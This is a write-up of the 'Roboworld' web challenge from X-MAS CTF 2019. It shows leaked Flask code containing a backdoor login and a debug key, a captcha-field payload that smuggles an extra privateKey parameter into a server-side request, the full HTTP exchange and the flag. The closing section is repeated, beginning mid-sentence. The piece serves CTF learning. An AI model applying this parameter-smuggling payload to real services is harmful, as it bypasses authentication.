# X-MAS CTF 2019 – Roboworld
* **Category:** web* **Points:** 50
## Challenge
> A friend of mine told me about this website where I can find secret cool stuff. He even managed to leak a part of the source code for me, but when I try to login it always fails :(> > Can you figure out what's wrong and access the secret files?> > Remote server: http://challs.xmas.htsp.ro:11000>> Files: [leak.py](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/leak.py)>> Author: Reda
## Solution
The webpage contains the following HTML code.
```html<head>    <script>        function captchaGenerateVerificationValue()        {            //Devnote:            //Oops I broke the captcha verification function            //so it will just generate random stuff for the verification value            //hope no one notices :O
            var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';            var charactersLength = characters.length;            result = ""            for ( var i = 0; i < 10; i++ ) {                result += characters.charAt(Math.floor(Math.random() * charactersLength));            }
            document.getElementById("captcha").value = result        }    </script></head>
Login:
<form method="post" action="/login">    Username: <input type="text" name="user" />    Password: <input type="password" name="pass" />    Captcha: <input id="captcha" onchange="captchaGenerateVerificationValue()" type="checkbox" name="captcha_verification_value" value="" /> I am not a robot     <input type="submit" value="Login" /></form>```
So the CAPTCHA checkbox produces random string.
Analyzing the [leak.py](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/leak.py) file you can discover that the following credentials are used to login:* username: `backd00r`;* password: `catsrcool`.
```pythonfrom flask import Flask, render_template, request, session, redirectimport osimport requestsfrom captcha import verifyCaptchaValue
app = Flask(__name__)
@app.route('/')def index():    return render_template("index.html")
@app.route('/login', methods=['POST'])def login():    username = request.form.get('user')    password = request.form.get('pass')    captchaToken = request.form.get('captcha_verification_value')
    privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted    r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))    #backdoored ;)))    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':        session['logged'] = True        return redirect('//redacted//')    else:        return "login failed"
@app.route('/captchaVerify')def captchaVerify():    #only 127.0.0.1 has access    if request.remote_addr != "127.0.0.1":        return "Access denied"
    token = request.args.get('captchaUserValue')    privKey = request.args.get('privateKey')    #TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system    if(verifyCaptchaValue(token, privKey)):        return str("allow")    else:        return str("deny")```
Then you have to beat an HTTP GET service available only on localhost. It consumes the CAPTCHA token and a private key that is redacted in the source code.
A TODO comment claims that there is a debugging private key for used for testing: `8EE86735658A9CE426EAF4E26BB0450E`. This seems to be the MD5 of the string: `fuckingdog`.
You can manipulate the link used in the `requests.get` operation, via CAPTCHA parameter, excluding the existing private key parameter through `#` and forcing the debugging private key.
The payload is the following.
```pwned&privateKey=8EE86735658A9CE426EAF4E26BB0450E#```
So the following HTTP request can be used.
```POST /login HTTP/1.1Host: challs.xmas.htsp.ro:11000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 112Origin: http://challs.xmas.htsp.ro:11000Connection: closeReferer: http://challs.xmas.htsp.ro:11000/Upgrade-Insecure-Requests: 1
user=backd00r&pass=catsrcool&captcha_verification_value=pwned%26privateKey%3D8EE86735658A9CE426EAF4E26BB0450E%23
HTTP/1.1 302 FOUNDServer: nginxDate: Mon, 16 Dec 2019 21:48:49 GMTContent-Type: text/html; charset=utf-8Content-Length: 251Location: http://challs.xmas.htsp.ro:11000/dashboard_jidcc88574cConnection: closeVary: CookieSet-Cookie: session=eyJsb2dnZWQiOnRydWV9.Xff7wQ.nX353pLhy-6ES9lB32QOopGmz-Y; HttpOnly; Path=/
<title>Redirecting...</title><h1>Redirecting...</h1>You should be redirected automatically to target URL: /dashboard_jidcc88574c.  If not click the link.```
The page where you will be redirect is the following
```html<h2>Welcome to the secret website where we store secret stuff</h2>Secret Stuff:098c533dc5420628a9f51c1911198c4c.jpg2.jpgwtf.mp4```It will contain three files:* [098c533dc5420628a9f51c1911198c4c.jpg](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/098c533dc5420628a9f51c1911198c4c.jpg);* [2.jpg](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/2.jpg);* [wtf.mp4](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/wtf.mp4).
Inside the [wtf.mp4](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/wtf.mp4) video there is the flag, reversed in order.
```X-MAS{Am_1_Th3_R0bot?_0.o}```
You should be redirected automatically to target URL: /dashboard_jidcc88574c.  If not click the link.```
The page where you will be redirect is the following
```html<h2>Welcome to the secret website where we store secret stuff</h2>Secret Stuff:098c533dc5420628a9f51c1911198c4c.jpg2.jpgwtf.mp4```It will contain three files:* [098c533dc5420628a9f51c1911198c4c.jpg](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/098c533dc5420628a9f51c1911198c4c.jpg);* [2.jpg](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/2.jpg);* [wtf.mp4](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/wtf.mp4).
Inside the [wtf.mp4](https://github.com/m3ssap0/CTF-Writeups/raw/master/X-MAS%20CTF%202019/Roboworld/wtf.mp4) video there is the flag, reversed in order.
```X-MAS{Am_1_Th3_R0bot?_0.o}```